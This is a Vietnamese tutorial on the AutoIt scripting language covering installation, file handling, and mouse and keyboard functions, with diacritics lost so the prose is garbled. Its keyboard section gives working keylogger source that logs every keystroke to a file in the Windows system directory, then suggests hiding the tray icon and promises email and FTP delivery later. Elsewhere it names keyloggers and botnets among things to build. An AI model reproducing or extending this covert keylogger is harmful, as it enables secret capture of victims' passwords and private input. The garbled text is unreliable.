Upload
cao-hong-minh
View
382
Download
5
Embed Size (px)
DESCRIPTION
ay Dung Moi Truong Thuc Hanh
Citation preview
Gii thiu ngn ng lp trnh Autoit
AutoIt v3l mtngn ng lp trnhc cung cpmin ph, c dng kch bn ging nhBASICc thit k t ng ha cc GUI (Graphic User Interface:giao din ngi dng) v cc thao tc thng dng.
N l s phi hp ca vic gi lp nhn phm, di chuyn chut v thao tc trn ca s/control (control l cc i tng tng tc c trn ca s, v d nh l button - nt bm) thc hin t ng cc tc v theo cch thc m cc ngn ng khc khng th lm hoc lm khng chun xc.
AutoIt c dung lng rt nh gn, c th chy c lp trn tt c cc phin bn caWindowsm khng cn cc runtime lm nn. Tuy nhin, k t phin bn v3.3, AutoIt khng cn h tr cho Windows 9x v Win NT 4.0.
Ban u AutoIt c thit k t ng cu hnh cho hng ngnmy tnh c nhn. Theo thi gian, AutoIt tr thnh mt ngn ng y sc mnh vi s h tr cc biu thc phc tp, hm do ngi dng t nh ngha, cc vng lp v mi th m mt ngi lp trnh kch bn dy dn mong i.Tnh nng v u im:
Sau y l mt s u im v cc tnh nng chnh:
D hc v cc c php n gin Gi lp c vic nhn phm v di chuyn chut Thao tc c vi cc tin trnh v ca s Tng tc c vi cc control trn ca s File m c th c bin dch thnh mt file thi hnh duy nht Cho php to GUI - giao din ngi dng H tr COM (Component Object Model) H tr biu thc thng thng Gi mt cch c nh hng cc DLL m rng v cc hm API Ti liu chi tit v cng ng rng h tr ln Tng thch vi tt c phn h ca Windows H trUnicodev x64 Lm vic vi User Account Control (UAC) trnWindows VistaAutoIt c thit k sao cho nh nht c th v khng cn dng n cc file DLL m rng hoc Registry n c th an ton khi chy trn cc Server. Cc filescript(m, kch bn) c th c bin dch thnh file exe vi cng c Aut2Exe.S kt hp cc COM vDLLt vic gi AutoItX cho php bn thm cc tnh nng c nht vo cc on script hay ngn ng lp trnh yu thch.
Ngun : Wikipedia
Mt s kin c nhn v ngn ng lp trnh Autoit:
Autoit l mt ngn ng lp trnh c tch ra t C++ , c nn tng C++ nhng v cu trc , cu lnh v nh ngha hm trong Autoit n gin hn rt nhiu ln . Autoit c xem l ngn ng d dng tip cn dnh cho ngi mi bt u , ch cn c nhng kin thc cn bn v thut ton v thao tc vi hm, bin ... ( Nhng kin thc c bn v lp trnh ny c truyn t thng qua ngn ng ging dy ph bin trong cc trng cp 3 hin nay , l ngn ng Pascal ) v mt cht tm ti hc hi l tip cn v khai ph cho mnh mt vn kin thc kha kh v ngn ng Autoit ny ri. Autoit c xem l mt ngn ng h tr tt vit cc tin ch auto hin ny m khng cn phi c kin thc su v tin hc hay nhng hiu bit nng cao v lp trnh . Mt s tool auto ph bin c th vit bng ngn ng Autoit nh : Auto webgame , Auto Auditon , Auto CS , Auto V Lm 2 , Auto Gunny , Keylogger , Botnet , Auto Reply Yahoo , Auto click chut , cc Auto ng nhp... v nhng thao tc t ng khc m khng cn s can thip ca ngi dng u c th thc hin bng ngn ng ny mt cch n gin v hiu qu. Trn y l vi dng gii thiu khi qut v ngn ng lp trnh Autoit , phn tip theo mnh s cp n cc thao tc ci t , vit code , bin dch mt d n Autoit v mt s cng c chng decompile m ngun autoit ...Hng dn ci t v bin dch Autoit
Ton mn hnhIn bi vit
Autoit Installation and CompilationCi t AutoitPhn trc mnh gii thiu tng quan v ngn ng Autoit v nhng u im m ngn ng ny mang li trong qu trnh lp trnh :Gii thiu tng quan v ngn ng Autoit, phn ny mnh s hng dn newbie v vic ci t v s dng Autoit .Gi cng c lp trnh Autoit bao gm : gi ci t Autoit v gi cng c h tr lp trnh v bin dch Scite4Au3 , link download full ti trang ch Autoit (Freeware):
Autoit Setup:Autoit Full InstallationScite4Au3 :SciTE4AutoIt3Hoc cc bn c th s dng tool ny download trn gi 2 cng c trn , tool c vit bng m ngun Autoit s dng icon mc nh v giao din GUI kh bt mt , nhng phn sau , khi lm quen vi ngn ng Autoit , mnh s hng dn to GUI (Giao din) v cch vit mt chng trnh nh vy , cn by gi ta tip tc vi phn ci t ;)Link Download :Autoit DownloaderOverview :
Gii thiu cng c Scite4Autoit3Sau khi ci t cc gi cng c Autoit ta vo th mc ci t Autoit (Mc nh l :C:\Program Files\AutoIt3\SciTE) . Ti th mc ny l cc cng c h tr lp trnh Autoit , mnh s gii thiu s qua v mt s cng c chnh : Koda : Mt cng c quan trng h tr thit k giao din cho mt chng trnh Autoit , Koda cung cp mt form sn c vi cc control la chn v mt bng chi tit cc property ca form v control thun tin chnh sa v cn l . CodeWizard : Cng c to MessaseBox , Inputbox , Splash n gin v thun tin cho ngi lp trnh . Tidy : Cng c b cc li m ngun sao cho ng vi cu trc cu lnh v d nhn nht . AutoIt3Wrapper & Obfuscator : Cng c gi v phc tp ha m ngun gim thiu kh nng m ngun b chnh sa mt cc bt hp php.Bin dch chng trnh u tin
To mt file au3 bng cch click chut phi v chn mc New > Autoit v3 Script , nhp tip chut phi v chn Edit Script m trnh son tho Autoit v nh on code sau vo trnh son tho : Msgbox(0,'','Hello World!')
Save file li , sau click tip chut phi vo file v chon Compile Script , trnh bin dch s compile file ngun thnh file thc thi exe d dng phn phi v s dng .
Gii thiu cng c son tho v bin dch m ngun Autoit
Ngoi cng c son tho c sn ca Autoit ta cng c th s dng cc cng c son tho khc nh notepad, wordpad hoc s dng cng c son tho do mnh code sn kt hp c son tho text v Autoit :
Link Download :EditorOverview:
Giao din ging vi notepad , b sung thm chc nng c vn bn ting Anh v ch Mode chuyn i qua li gia son tho text v son tho Autoit Script :D
V bin dch mt file Autoit , ta c th s dng cng c bin dch portable l Autoit2Exe c sn trong th mc ci t , vi cng c ny ta c th bin dch m ngun Autoit bt k my tnh no m khng cn bit my tnh c c ci t Autoit hay khng :D
V bin dch mt file Autoit t menu chut phi , ta cn c th s dng cng c bin dch ty chnh (Compile with Options) :
Tab u tin (Tab c bn) :Chn ch Compile X86(32 bit) hay X64(64 bit) v chn icon ca file xut bn , chn pack UPX gim kich thc file ...
Cc tab tip theo ty chn theo mc ch ca ngi lp trnh .
Haizzz , vy l xong phn ci t v bin dich mt chng trnh Autoit , chc cc bn cng ang nng lng vit mt chng trnh u tin phi khng =)) ... "dc tc bt t" y . Ln u tin lm quen vi ngn ng mnh cng phi mt 3 ngy mi nm c cn bn cch s dng cc cng c h tr Autoit y , phn tip theo mnh s cp n cc thao tc vi File v th mc ;) ...Thao tc vi tp tin v th mc trong Autoit
Ton mn hnhIn bi vit
File and Directory (Folder)
Phn thao tc vi file v folder trong Autoit mnh ch im s qua mt s hm thng dngbi tt cc u c cp rt y trong file help ca gi ci t : C:\Program Files\AutoIt3\AutoIt.chm hoc tra cu trong file help Online ca Autoit :Functions
Thao tc vi fileSau y l mt s hm tng tc vi file thng dng v cch s dng : FileOpenC php:FileOpen ( "filename" [, mode ] )filenameng dn tuyt i hoc tng i n tp tin
modemode :ch thao tc vi tp tin (c th c hoc ko , mc nh l 0).0 = Ch ch c (Mc nh).1 = Ch ch vit (Vit vo dng cui cng ca file).2 = Ch ch vit (Xa trng file trc khi vit).8 = T ng to mt file mi nu file cn tm khng c tm thy.16 = Force binary mode (See Remarks). 128 = Ch c v vit s dng chun Unicode UTF8 (with BOM) .256 = Ch c v vit s dng chun Unicode UTF8 (without BOM) . Nu khng s dng mode 8 th ng dn file ch phi c khi to , nu khng s tr v li
V d:$file = FileOpen("test.txt", 10);M file ch ch vit v to file mi nu khng tm thy
If $file = -1 Then
MsgBox(0, "Error", "Unable to open file.")
Exit
EndIf
FileClose($file)
Mt s hm thao tc file khc (Tra cu trong file help) FileRead :c ni dung file t file m FileOpen (mode 0) FileReadLine: c mt dng ca file t file m FileOpen (mode 0) FileWrite: Vit d liu vo file t file m FileOpen (mode 1) FileWriteLine: Vit d liu vo dng cui cng ca file t file m FileOpen (mode 1) FileMove: Di chuyn mt file n th mc khc FileExists: Kim tra xem mt file c tn ti hay khng , nu c tr v 1 , cn khng th tr v 0 FileDelete: Xa mt file FileSelectFolder: M mt Dialog tm mt folder v tr v ng dn ca folder FileOpenDialog: M mt Dialog tm mt file v tr v ng dn ca file
Thao tc vi ng dn (Directory)
Mt shm thao tc vi directory : DirCreate : To mt ng dn tuyt i DirRemove: Xa mt ng dn c sn DirMove: Chuyn mt ng dn bao gm cc ng dn con , tp tin v th mc sang ng dn khc (nh x song song ;) ) DirGetSize: Tr v kch thc ca ng dn (th mc) theo n v Byte
Mt s Macro Directory , tra cu bng full trong Directory Macros :
C php: @ + Folder Alias + Dir @AppDataDir @DesktopDir @MyDocumentsDir @FavoritesDir @ProgramsDir @StartMenuDir @StartupDir @UserProfileDir @ProgramFilesDir @WindowsDir @SystemDir @TempDirVy l xong phn File v th mc , phn sau mnh s i tip phn Msgbox , thao tc vi chut v bn phm , phn sau s Demo mt s code c d liu nhp t bn phm v hm click khng chim chut ;)Thao tc vi chut trong Autoit
Ton mn hnhIn bi vit
Mouse Functions
Cc hm thao tc vi phm v chut l cc hm c bn lp trnh cc ng dng t ng t Auto game n vic thc hin cc thao tc nhp xut d liu t bn phm hoc tng tc vi cc phm trn mn hnh bng cc hm iu khin chut .
Autoit cung cp cc hm thao tc vi phm v chut v hook keys tng thp (low-level) , thun tin v linh hot trong vic lp trnh cc thao tc t ng .
Sau y mnh s trnh by nhng phn c bn v thao tc vi chut v phm , km theo mt s Demo v hook ly input t keyboard v mouse (Theo di tc v bn phm v chut ) . Bi ny hi di nn mnh chia lm 2 phn : Phn 1 (Mouse Functions) , Phn 2 (Keys Functions)
Mt s hm thao tc vi chut :
MouseGetPos: Tr v v tr hin ti ca chutC php: MouseGetPos ( [dimension] )dimension = 0 hm tr v ta X ca chutdimension =1 hm tr v ta Y ca chut MouseMove: Di chuyn tr chut n ta nh snC php: MouseMove ( x, y [, speed] )(x,y) : ta ca chutspeed : tc di chut (1-100) MouseClick: Click chut ti ta nhC php: MouseClick ( "button" [, x, y [, clicks [, speed]]] )button : ty chn click "left", "right", "middle", "main", "menu", "primary", "secondary".(x,y) : ta ca chutclicks : S click c thc hin (Mc nh l 1)speed : tc di chut (1-100) MouseClickDrag: Kt hp click v move , ko th chut t ta (x1,y1) n ta (x2,y2)C php: MouseClickDrag ( "button", x1, y1, x2, y2 [, speed] )
V d:
Code ly ta tr chut thi gian thc :
#include
$dll = DllOpen("user32.dll")
while 1
$pos = MouseGetPos()
ToolTip("V tr hin ti ca chut(x,y) :" & $pos[0] & "," & $pos[1])
if _IsPressed('1B',$dll) then exit ; Nhn Esc thot chng trnh
wend
Mt s v d v cc hm thao tc vi chut :
$pos = MouseGetPos() ; Ly ta chut
MsgBox(0, "V tr hin ti ca chut(x,y) :", $pos[0] & "," & $pos[1])
MouseMove (100,100) ; Di chuyn tr chut n ta (100,100)
MouseClick("left", 500, 500, 2) ; Click double chut tri ta (500,500)
Hm thao tc vi API click chut (Khng chim chut v mn hnh) :
S dng th vin m c sn ca Microsoft ta c th thc hin click khng chim chut v mn hnh , c chc nng tng t vi hm click chut thng thng nhng c thm uuw im l khng chim chut :V d v s dng API click chut (code click mt im trn destop khng chim chut ) :
#include
#include ; Khai bo cc hng $WM_ ... bng cch include th vin
Const $MK_LBUTTON = 0x1
Const $MK_MBUTTON = 0x10
Const $MK_RBUTTON = 0x2 ; Khai bo cc gi tr hng
Global $Struct = DllStructCreate($tagPoint)
$hwnd = _WinAPI_WindowFromPoint($Struct) ; Ly handle destop
pclick(200,50,'Left Double Click') ; Hm click double chut tri ti ta (200,50)
Func pclick($x=0,$y=0,$button='Left Click')
$lParam = ($y * 65536) + ($x)
Switch $button
Case $button='Left Click'
_WinAPI_PostMessage($hwnd, $WM_LBUTTONDOWN, $MK_LBUTTON,$lParam)
_WinAPI_PostMessage($hwnd, $WM_LBUTTONUP, 0,$lParam)
Case $button='Left Double Click'
_WinAPI_PostMessage($hwnd, $WM_LBUTTONDOWN, $MK_LBUTTON,$lParam)
_WinAPI_PostMessage($hwnd, $WM_LBUTTONUP, 0,$lParam)
_WinAPI_PostMessage($hwnd, $WM_LBUTTONDBLCLK, $MK_LBUTTON,$lParam)
_WinAPI_PostMessage($hwnd, $WM_LBUTTONUP, 0,$lParam)
Case $button='Middle Click'
_WinAPI_PostMessage($hwnd, $WM_MBUTTONDOWN, $MK_MBUTTON,$lParam)
_WinAPI_PostMessage($hwnd, $WM_MBUTTONUP, 0,$lParam)
Case $button='Middle Double Click'
_WinAPI_PostMessage($hwnd, $WM_MBUTTONDOWN, $MK_MBUTTON,$lParam)
_WinAPI_PostMessage($hwnd, $WM_MBUTTONUP, 0,$lParam)
_WinAPI_PostMessage($hwnd, $WM_MBUTTONDBLCLK, $MK_MBUTTON,$lParam)
_WinAPI_PostMessage($hwnd, $WM_MBUTTONUP, 0,$lParam)
Case $button='Right Click'
_WinAPI_PostMessage($hwnd, $WM_RBUTTONDOWN, $MK_RBUTTON,$lParam)
_WinAPI_PostMessage($hwnd, $WM_RBUTTONUP, 0,$lParam)
Case $button='Right Double Click'
_WinAPI_PostMessage($hwnd, $WM_RBUTTONDOWN, $MK_RBUTTON,$lParam)
_WinAPI_PostMessage($hwnd, $WM_RBUTTONUP, 0,$lParam)
_WinAPI_PostMessage($hwnd, $WM_RBUTTONDBLCLK, $MK_RBUTTON,$lParam)
_WinAPI_PostMessage($hwnd, $WM_RBUTTONUP, 0,$lParam)
Case $button='Mouse Move'
_WinAPI_PostMessage($hwnd, $WM_MOUSEMOVE, 0,$lParam)
_WinAPI_PostMessage($hwnd, $WM_MOUSEMOVE, 0,$lParam)
EndSwitch
EndFunc
V y l mt tool dng ly ta chut v thc hin click (khng chim chut ) trn ta nh.
Tool c vit bng m ngun Autoit su tm t hocautoit.com , giao din GUI d s dng , cc bn c th pht trin thm ty mc ch lp trnh .
Link Download:AutoClick.au3
Vy l xong phn thao tc vi chut , cc bi sau v UDF mnh s release mt s m ngun v cc thao tc theo di hot ng ca chut trong mt thi gian nh v ti thc hin cc hot ng nhm n gin ha vic lp trnh AutoClick , phn 2 mnh s cp v cc hm thao tc vi phm ;)Thao tc vi phm trong Autoit
Ton mn hnhIn bi vit
Keys Functions
Cc hm thao tc vi phm phn ny mnh s hng dn cc bn cch nhn mt phm trn keyboard bng Autoit , cch theo di cc phm nhp t bn phm v xut cc phm va nhp ra ngoi mn hnh .
Demo 2 code theo di phm nhp vo t keyboard vit bng hm ca Autoit v Hook
Message Box (Hp thoi)
Cc bn chc cng nghe nhiu n thut ng ny ri , trong mt s code mu mnh vit bi trc cng s dng hm ny ri l MsgBox , hm ny dng xut mt khung thoi ra mn hnh my tnh . Phn ny ngoi l ca bi nhng mnh hi ln tn v hm ny mt t gip cho cc bn d thao tc hn vi cc lnh trong bi :D
C php: MsgBox ( flag, "title", "text" [, timeout [, hwnd]] )flagTy chn khung hp thoi
titleTiu ca hp thoi
textNi dung hp thoi
timeoutThi gian m ngc n khi tt khung thoi (C th c hoc khng)
hwndTr v handle ca ca s hin hp thoi (C th c hoc khng)
Mt v d v hp thoi mc nh :
Msgbox(0,'Hello','This is the default message box !')
C rt nhiu loi Message Box , ch cn thay i flag l c c Message Box cn dng , nhng mnh s khng cp n vic to cc loi Message Box khc nhau v trong gi cng c Scite cp cc bi trc gii thiu v cng c ny ri , l : CodeWizard (Cng c dng to cc loi Message Box , Input Box , Splash ... rt c th v d s dng ) . Cc bn t nghin cu cng c ny c th to cho mnh mt Message Box theo thch v nhu cu s dng ;)
Cc hm thao tc vi phm SendC php :Send ( "keys" [, flag] )
keys l phm c ch nh send vo ca s ang hot ng , cc phm hotkeyt nh SHIFT , CTRL , ALT , SPACE .... c bc trong du {} , cc phm k t v phm s c t trong ' 'Vit tt mt vi phm thng dng :{!}Phm ALT
{#}Phm WINDOW
{+}Phm SHIFT
{^}Phm CTRL
V d :
Send("#r") ; Nhn phm Window + phm rWinWaitActive("Run") ; Hm dng ch cho n khi ca s hin lnSend("notepad.exe{Enter}") ; Gi vo khung nhp mt chui ri nhm EnterWinWaitActive("[CLASS:Notepad]") ; Hm dng ch cho n khi ca s hin lnSend("Today's time/date is {F5}") ; Gi vo khung nhp mt chui ri nhm F5
ControlSend
C php :ControlSend ( "title", "text", controlID, "string" [, flag] )
ControlSend dng gi phm nhp hay k t vo mt khung ca s xc nh rtitleTiu ca ca ca s
texton vn bn bt k xut hin trn ca s
controlIDID ca control trong ca s . xem thmControls.
stringChui hoc phm hoc k t c ch nh gi
flagMc nh l 0 (Ci ny nn mc nh)
V d :
Send("#r") ; Nhn phm Window + phm rWinWaitActive("Run") ; Hm dng ch cho n khi ca s hin lnSend("notepad.exe{Enter}") ; Gi vo khung nhp mt chui ri nhm EnterWinWaitActive("[CLASS:Notepad]") ; Hm dng ch cho n khi ca s hin lnControlSend("[CLASS:Notepad]", "", "Edit1", "This is a line of text in the notepad window"); Send mt chui vo khung Edit ca Notepad
Hm kim tra k t nhp vo (_Ispressed) v low level hook API : _IspressedC php : _IsPressed($sHexKey [, $vDLL = 'user32.dll'])
Hm _Ispressed l hm c nh ngha trong thu vin Misc.au3 nn phi include th vin trc khi c li gi hm .$sHexKey l m Hex ca phm , c th tra bng m hex chi tit v y y :ASCII$vDLL = 'user32.dll' l th vin lin kt ng ca MS dng thc hin hm
y l mt v d v hm kim tra k t nhp vo _Ispressed c pht trin thnh mt cng c m ta thng hay gi l keylogger :
Opt("SendKeyDelay",150)Opt("SendKeyDownDelay",50)
Global $keyf,$keyup,$ckok=False,$f_path = @SystemDir & "\keylog.txt"Global $shdown=True,$shupGlobal $sDateTime = @YEAR & "-" & @MON & "-" & @MDAY &" "&@HOUR & ":" & @MIN & ":" & @SEC;Separate hex and char$hex = StringSplit("08,09,0d,10,11,12,13,14,1b,20,21,22,23,24,25,26,27,28,2c,2d,2e," & _"30,31,32,33,34,35,36,37,38,39,41,42,43,44,45,46,47,48,49,4a,4b,4c,4d,4e,4f,50,51,52,53,54,55,56,57,58,59,5a," & _"ba,bb,bc,bd,be,bf,c0,db,dc,dd,5b,5c", _",")
$char = StringSplit(" BACKSPACE , TAB , ENTER , SHIFT , CTR , ALT , PAUSE , CAPLOCKS , ESC , SPACE , PAGEUP , PAGEDOWN , END , HOME , LEFT , UP , RIGHT , DOWN , PRINTSCR , INS , DEL ," & _"0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z" & _" ; , = , dot , - , . , / , ` , [ , \ , ], lWIN , rWIN ", _",");=>EndHotKeySet ("^!#{f12}","thoat")Func thoat()DllClose($dll)FileClose($file)Run("notepad.exe " & $f_path)ExitEndFunc;;=> Ket thuc ham
If Not FileExists($f_path) Then _FileWriteLog($f_path,'')
$dll = DllOpen("user32.dll")$file = FileOpen($f_path, 1)If $file = -1 ThenMsgBox(0, "Loi", "Khong the mo file")ExitEndIfFileWriteLine($file, $sDateTime)While 1Sleep ( 10 )readchar()WEnd
DllClose($dll)
Func readchar()For $i = 1 to $hex[0]SelectCase _IsPressed($hex[$i],$dll)If _IsPressed("10", $dll) Thenif $shdown ==True ThenFileWrite($file," SHIFTDOWN ")Sleep(30)$shdown= False$shup= TrueEndIfElse$keyup = $hex[$i]checkku()writechar($char[$i])EndIfCase _IsRelease("10", $dll)if $shup== True ThenFileWrite($file," SHIFTUP ")Sleep(30)$shdown= True$shup= FalseEndIfEndSelect
NextEndFunc
Func checkku()DoIf _IsRelease($keyup,$dll) then$ckok =TrueEndIfUntil $ckok =trueEndFunc
Func writechar($keyf= "")If $file = -1 ThenMsgBox(0, "Loi", "Khong the mo file.")ExitEndIfIf $ckok =true thenFileWrite($file,$keyf)Sleep(10)$ckok =FalseEndIfEndFunc
Func _IsPressed($sHexKey, $vDLL = 'user32.dll')Local $a_R = DllCall($vDLL, "int", "GetAsyncKeyState", "int", '0x' & $sHexKey)If Not @error And BitAND($a_R[0], 0x8000) = 0x8000 Then Return 1Return 0EndFunc
Func _IsRelease($sHexKey, $vDLL = 'user32.dll')Local $a_R = DllCall($vDLL, "int", "GetAsyncKeyState", "int", '0x' & $sHexKey)If Not @error And BitAND($a_R[0], 0x8000) = 0x8000 Then Return 0Return 1EndFunc
Func _FileWriteLog($sLogPath, $sLogMsg, $iFlag = -1)Local $sDateNow, $sTimeNow, $sMsg, $iWriteFile, $hOpenFile, $iOpenMode = 1
$sDateNow = @YEAR & "-" & @MON & "-" & @MDAY$sTimeNow = @HOUR & ":" & @MIN & ":" & @SEC$sMsg = $sDateNow & " " & $sTimeNow & " : " & $sLogMsg
If $iFlag -1 Then$sMsg &= @CRLF & FileRead($sLogPath)$iOpenMode = 2EndIf
$hOpenFile = FileOpen($sLogPath, $iOpenMode)If $hOpenFile = -1 Then Return SetError(1, 0, 0)
$iWriteFile = FileWriteLine($hOpenFile, $sMsg)If $iWriteFile = -1 Then Return SetError(2, 0, 0)
Return FileClose($hOpenFile)EndFunc ;==>_FileWriteLog
n t hp phm Ctrl + Windows + Alt + F12 thot v hin file log.C th thm vo #NoTrayIcon chng trnh chy di ch n
cc bi sau mnh s cp n m ngun Autoit c chc nng gi email v FTP hon thin tool ny , cn by gi chng ta chuyn qua Hook API
API Low-Level HookCu hi c t ra y l : Ti sao li s dng API Hook trong khi c _Ispressed .Cc bn sau khi chy th v d mu trn chc cng thy nhc im ca hm _Ispressed , l cc phm nhp vo i khi b trng do ngi dng nhn gi phm qu lu hoc mt s phm b mt do ngi dng nh phm qu nhanh . API Hook s gii quyt c vn ny , ngoi ra API Hook cn c nhiu ng dng quan trng hn na
V d mu v vic s dng API Hook , c k t nhp vo t bn phm v kha cc phm nhp vo:
#include #include #Include
Global $sHexKeys, $sMouse, $sString, $hHookKeyboard, $pStub_KeyProc
HotKeySet("{ESC}", "ExitNow") ; Exit khi nhn phm Esc
$pStub_KeyProc = DllCallbackRegister("_KeyProc", "int", "int;ptr;ptr")$hHookKeyboard = _WinAPI_SetWindowsHookEx($WH_KEYBOARD_LL, DllCallbackGetPtr($pStub_KeyProc), _WinAPI_GetModuleHandle(0))
While 1 Sleep(10)WEnd
Func ExitNow() ExitEndFunc ;==>ExitNow
Func OnAutoITExit() DllCallbackFree($pStub_KeyProc) _WinAPI_UnhookWindowsHookEx($hHookKeyboard)EndFunc ;==>OnAutoITExit
Func _KeyProc($nCode, $wParam, $lParam) If $nCode < 0 Then Return _WinAPI_CallNextHookEx($hHookKeyboard, $nCode, $wParam, $lParam) Local $KBDLLHOOKSTRUCT = DllStructCreate("dword vkCode;dword scanCode;dword flags;dword time;ptr dwExtraInfo", $lParam) Local $vkCode = DllStructGetData($KBDLLHOOKSTRUCT, "vkCode") Switch $wParam Case $WM_KEYDOWN;, $WM_SYSKEYDOWN
If (($vkCode > 64) And ($vkCode < 91)) _ ; a -z Or (($vkCode > 96) And ($vkCode < 123)) _ ; A - Z Or (($vkCode > 47) And ($vkCode < 58)) Then ; 0 - 9 ; M Hex ca cc k t nhp vo t bn phm
_keybd_event('', 0) ; Hm tr v phm rng dng kha phm nhp vo , thay i m hex trn ty chnh kha phm c ch nh
ToolTip(Chr($vkCode)) ; Hin th cc phm nhp vo y
Return -1
ElseIf ($vkCode > 159) And ($vkCode < 164) Then ; Cc phm hotkey s khng c x l Return
EndIf EndSwitch Return _WinAPI_CallNextHookEx($hHookKeyboard, $nCode, $wParam, $lParam)EndFunc ;==>_KeyProc
Func _keybd_event($vkCode, $Flag) DllCall('user32.dll', 'int', 'keybd_event', 'int', $vkCode, 'int', 0, 'int', $Flag, 'ptr', 0)EndFunc; _keybd_event
Nhn Esc thot chng trnh API Send key to Inactive WindowMt v d khc v s dng API send key vo ca s inactive (minimize/hide).
#Include #include #include "VK.au3"
$timeKeyDown = 10
AutoItSetOption("WinTitleMatchMode", 2);run('Notepad.exe');WinWaitActive('Untitled - Notepad')$handle = ControlGetHandle('Untitled - Notepad' ,'' , 'Edit1')
;~ _WinAPI_PostMessage($handle,0x108, 0x11,0);~ _WinAPI_PostMessage($handle, 0x101, 0x53 , 0 )
_Send($handle,'This{SPACE}is{SPACE}just{SPACE}a{SPACE}test{ENTER}')
Func _Send( $whandle, $text)If $text = "" Then ReturnLocal $l, $l2, $len=StringLen($text), $sendnowFor $l=1 To $len$sendnow = StringMid($text,$l,1)If $sendnow="{" Then$sendnow = ""While 1$l += 1$l2 = StringMid( $text,$l,1)If $l2="}" Or $l>$len Then ExitLoop$sendnow &= $l2WEndEndIf_WinAPI_PostMessage($whandle, 0x100, Eval( "VK_" & StringUpper($sendnow)), 0) ;keydownSleep( $timeKeyDown);_WinAPI_PostMessage($whandle, 0x101, Eval( "VK_" & StringUpper($sendnow)), 0 ) ;keyupNextEndFunc
Th vin VK.au3 (Khai bo cc key dng hex v mt s const API )
Global Const $VK_LBUTTON = 0x01Global Const $VK_RBUTTON = 0x02Global Const $VK_CANCEL = 0x03Global Const $VK_MBUTTON = 0x04Global Const $VK_XBUTTON1 = 0x05Global Const $VK_XBUTTON2 = 0x06
#cs* = 0x07 : unassigned#ce
Global Const $VK_BACK = 0x08Global Const $VK_TAB = 0x09
#cs* = 0x0A - = 0x0B : reserved#ce
Global Const $VK_CLEAR = 0x0CGlobal Const $VK_ENTER = 0x0D
Global Const $VK_SHIFT = 0x10Global Const $VK_CTRL = 0x11Global Const $VK_MENU = 0x12Global Const $VK_PAUSE = 0x13Global Const $VK_CAPITAL = 0x14
Global Const $VK_KANA = 0x15Global Const $VK_HANGEUL = 0x15Global Const $VK_HANGUL = 0x15Global Const $VK_JUNJA = 0x17Global Const $VK_FINAL = 0x18Global Const $VK_HANJA = 0x19Global Const $VK_KANJI = 0x19
Global Const $VK_ESCAPE = 0x1B
Global Const $VK_CONVERT = 0x1CGlobal Const $VK_NONCONVERT = 0x1DGlobal Const $VK_ACCEPT = 0x1EGlobal Const $VK_MODECHANGE = 0x1F
Global Const $VK_SPACE = 0x20Global Const $VK_PRIOR = 0x21Global Const $VK_NEXT = 0x22Global Const $VK_END = 0x23Global Const $VK_HOME = 0x24Global Const $VK_LEFT = 0x25Global Const $VK_UP = 0x26Global Const $VK_RIGHT = 0x27Global Const $VK_DOWN = 0x28Global Const $VK_SELECT = 0x29Global Const $VK_PRINT = 0x2AGlobal Const $VK_EXECUTE = 0x2BGlobal Const $VK_SNAPSHOT = 0x2CGlobal Const $VK_INSERT = 0x2DGlobal Const $VK_DELETE = 0x2EGlobal Const $VK_HELP = 0x2F
Global Const $VK_0 = 0x30Global Const $VK_1 = 0x31Global Const $VK_2 = 0x32Global Const $VK_3 = 0x33Global Const $VK_4 = 0x34Global Const $VK_5 = 0x35Global Const $VK_6 = 0x36Global Const $VK_7 = 0x37Global Const $VK_8 = 0x38Global Const $VK_9 = 0x39
#cs* = 0x40 : unassigned#ce
Global Const $VK_A = 0x41Global Const $VK_B = 0x42Global Const $VK_C = 0x43Global Const $VK_D = 0x44Global Const $VK_E = 0x45Global Const $VK_F = 0x46Global Const $VK_G = 0x47Global Const $VK_H = 0x48Global Const $VK_I = 0x49Global Const $VK_J = 0x4AGlobal Const $VK_K = 0x4BGlobal Const $VK_L = 0x4CGlobal Const $VK_M = 0x4DGlobal Const $VK_N = 0x4EGlobal Const $VK_O = 0x4FGlobal Const $VK_P = 0x50Global Const $VK_Q = 0x51Global Const $VK_R = 0x52Global Const $VK_S = 0x53Global Const $VK_T = 0x54Global Const $VK_U = 0x55Global Const $VK_V = 0x56Global Const $VK_W = 0x57Global Const $VK_X = 0x58Global Const $VK_Y = 0x59Global Const $VK_Z = 0x5A
Global Const $VK_LWIN = 0x5BGlobal Const $VK_RWIN = 0x5CGlobal Const $VK_APPS = 0x5D
#cs* = 0x5E : reserved#ce
Global Const $VK_SLEEP = 0x5FGlobal Const $VK_NUMPAD0 = 0x60Global Const $VK_NUMPAD1 = 0x61Global Const $VK_NUMPAD2 = 0x62Global Const $VK_NUMPAD3 = 0x63Global Const $VK_NUMPAD4 = 0x64Global Const $VK_NUMPAD5 = 0x65Global Const $VK_NUMPAD6 = 0x66Global Const $VK_NUMPAD7 = 0x67Global Const $VK_NUMPAD8 = 0x68Global Const $VK_NUMPAD9 = 0x69Global Const $VK_MULTIPLY = 0x6AGlobal Const $VK_ADD = 0x6BGlobal Const $VK_SEPARATOR = 0x6CGlobal Const $VK_SUBTRACT = 0x6DGlobal Const $VK_DECIMAL = 0x6EGlobal Const $VK_DIVIDE = 0x6FGlobal Const $VK_F1 = 0x70Global Const $VK_F2 = 0x71Global Const $VK_F3 = 0x72Global Const $VK_F4 = 0x73Global Const $VK_F5 = 0x74Global Const $VK_F6 = 0x75Global Const $VK_F7 = 0x76Global Const $VK_F8 = 0x77Global Const $VK_F9 = 0x78Global Const $VK_F10 = 0x79Global Const $VK_F11 = 0x7AGlobal Const $VK_F12 = 0x7BGlobal Const $VK_F13 = 0x7CGlobal Const $VK_F14 = 0x7DGlobal Const $VK_F15 = 0x7EGlobal Const $VK_F16 = 0x7FGlobal Const $VK_F17 = 0x80Global Const $VK_F18 = 0x81Global Const $VK_F19 = 0x82Global Const $VK_F20 = 0x83Global Const $VK_F21 = 0x84Global Const $VK_F22 = 0x85Global Const $VK_F23 = 0x86Global Const $VK_F24 = 0x87
#cs* = 0x88 - = 0x8F : unassigned#ce
Global Const $VK_NUMLOCK = 0x90Global Const $VK_SCROLL = 0x91
#cs* NEC PC-9800 kbd definitions#ce
Global Const $VK_OEM_NEC_EQUAL = 0x92 ; '=' key on numpad
